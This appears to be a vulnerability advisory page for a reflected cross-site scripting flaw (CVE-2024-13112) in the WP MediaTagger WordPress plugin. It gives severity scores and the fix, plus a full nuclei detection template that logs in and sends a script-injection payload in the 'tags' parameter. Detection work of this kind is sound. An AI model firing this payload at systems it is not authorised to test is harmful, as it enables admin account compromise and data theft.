WP MediaTagger <= 4.1.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

WP MediaTagger WordPress plugin <= 4.1.1 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires user interaction or victim to visit a malicious link.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of WP MediaTagger plugin that addresses this issue.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=mediatagger_database&tags=1"></script><script>alert(document.domain)</script><script>
Positive when: contains(body, "></script><script>alert(document.domain)</script><script>") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13112 -u <target>

The full check

id: CVE-2024-13112

info:
  name: WP MediaTagger <= 4.1.1 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP MediaTagger WordPress plugin <= 4.1.1 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires user interaction or victim to visit a malicious link.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of WP MediaTagger plugin that addresses this issue.
  reference:
    - https://wpscan.com/vulnerability/155df231-30ef-47bb-aa91-a7deb1779bd1/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13112
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13112
    cwe-id: CWE-79
    epss-score: 0.0061
    epss-percentile: 0.4954
    cpe: cpe:2.3:a:phd38:wp_mediatagger:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phd38
    product: wp_mediatagger
  tags: cve,cve2024,wp-mediatagger,wp,wp-plugin,wordpress,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=mediatagger_database&tags=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "></script><script>alert(document.domain)</script><script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from